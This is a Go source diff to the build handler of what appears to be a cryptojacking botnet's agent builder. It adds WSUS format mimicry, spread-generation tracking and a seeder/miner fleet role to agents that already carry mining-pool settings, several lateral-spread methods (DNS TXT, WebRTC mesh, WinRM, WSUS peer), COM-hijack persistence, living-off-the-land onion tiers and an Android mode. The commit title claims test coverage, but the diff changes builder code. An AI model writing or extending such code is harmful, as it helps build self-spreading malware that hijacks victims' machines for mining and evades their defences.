Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

server/internal/builder/handler.go

@@ -89,6 +89,7 @@ type BuildRequest struct {
 	DnsTxtSpread        bool `json:"dns_txt_spread"`
 	WebRTCMeshSpread    bool `json:"webrtc_mesh_spread"`
 	WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
+	WSUSFormatMimic     bool `json:"wsus_format_mimic"`
 	COMHijackPersist    bool `json:"com_hijack_persist"`
 	LinuxLOTLMode    string `json:"linux_lotl_mode"`
 	TargetOS         string `json:"target_os"`
@@ -125,8 +126,18 @@ type BuildRequest struct {
 
 	// APK mode — Android fleet node (mining off by default).
 	ApkMode          bool   `json:"apk_mode"`
+	ScoutMode        bool   `json:"scout_mode"`
 	ApkAgentName     string `json:"apk_agent_name"`
 	MiningDisabled   bool   `json:"mining_disabled"`
+
+	// Spread genealogy watermark — informational telemetry baked into agent config.
+	ParentAgentID    string `json:"parent_agent_id"`
+	SpreadGeneration int    `json:"spread_generation"`
+	JoinLane         string `json:"join_lane"` // used to derive spread_strain color at bake time
+
+	// Fleet role split — seeder serves LAN staging only; miner hashes RandomX.
+	FleetRole  string `json:"fleet_role,omitempty"` // miner | seeder | auto
+	SeederMode bool   `json:"seeder_mode,omitempty"`
 }
 
 // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -601,7 +612,40 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
 	http.ServeFile(w, r, uninstallPath)
 }
 
+func applyFleetRoleBakeDefaults(req *BuildRequest) {
+	role := normalizeForgeFleetRole(req)
+	if role != "seeder" && !req.SeederMode {
+		return
+	}
+	req.FleetRole = "seeder"
+	req.SeederMode = true
+	req.MiningDisabled = true
+	req.MinerExecution = "inprocess"
+	req.GPUEnabled = false
+	req.DnsTxtSpread = true
+	req.WebRTCMeshSpread = true
+	req.WinRMSpread = false
+	req.WSUSCachePeerSpread = false
+	req.AutoSpread = true
+	req.LotlOnionEnabled = true
+	if len(req.LotlOnionTiers) == 0 {
+		req.LotlOnionTiers = []string{"dns_txt", "webrtc_mesh", "do_peer"}
+	} else {
+		var filtered []string
+		for _, t := range req.LotlOnionTiers {
+			switch strings.ToLower(strings.TrimSpace(t)) {
+			case "dns_txt", "webrtc_mesh", "do_peer":
+				filtered = append(filtered, t)
+			}
+		}
+		if len(filtered) > 0 {
+			req.LotlOnionTiers = filtered
+		}
+	}
+}
+
 func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
+	applyFleetRoleBakeDefaults(req)
 	if req.ApkMode {
 		return h.buildAPKAgent(ctx, req)
 	}
@@ -1245,6 +1289,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		DnsTxtSpread:        %v,
 		WebRTCMeshSpread:    %v,
 		WSUSCachePeerSpread: %v,
+		WSUSFormatMimic:     %v,
 		COMHijackPersist:    %v,
 		LinuxLOTLMode:       %q,
 		BackupServerURLs:    %s,
@@ -1273,8 +1318,17 @@ func GetBuiltinConfig() BuiltinConfig {
 		LotlPolicyFromServer: %v,
 		LotlOnionTiers:       %s,
 
+		ParentAgentID:    %q,
+		SpreadGeneration: %d,
+		SpreadStrain:     %q,
+		BakedJoinLane:    %q,
+
 		ApkMode:        %v,
+		ScoutMode:      %v,
 		MiningDisabled: %v,
+
+		FleetRole:  %q,
+		SeederMode: %v,
 	}
 }
 `, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1334,6 +1388,7 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.DnsTxtSpread,
 		req.WebRTCMeshSpread,
 		req.WSUSCachePeerSpread,
+		req.WSUSFormatMimic,
 		req.COMHijackPersist,
 		req.LinuxLOTLMode,
 		formatGoStringSlice(req.BackupServerURLs),
@@ -1357,11 +1412,28 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.LotlOnionEnabled,
 		req.LotlPolicyFromServer,
 		formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
+		strings.TrimSpace(req.ParentAgentID),
+		req.SpreadGeneration,
+		spreadStrainFromJoinLane(req.JoinLane),
+		strings.TrimSpace(req.JoinLane),
 		req.ApkMode,
+		req.ScoutMode,
 		req.MiningDisabled,
+		normalizeForgeFleetRole(req),
+		req.SeederMode || normalizeForgeFleetRole(req) == "seeder",
 	)
 }
 
+func normalizeForgeFleetRole(req *BuildRequest) string {
+	role := strings.ToLower(strings.TrimSpace(req.FleetRole))
+	switch role {
+	case "seeder", "miner", "auto":
+		return role
+	default:
+		return "auto"
+	}
+}
+
 func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
 	if req.HTTPSBeaconFallback {
 		return true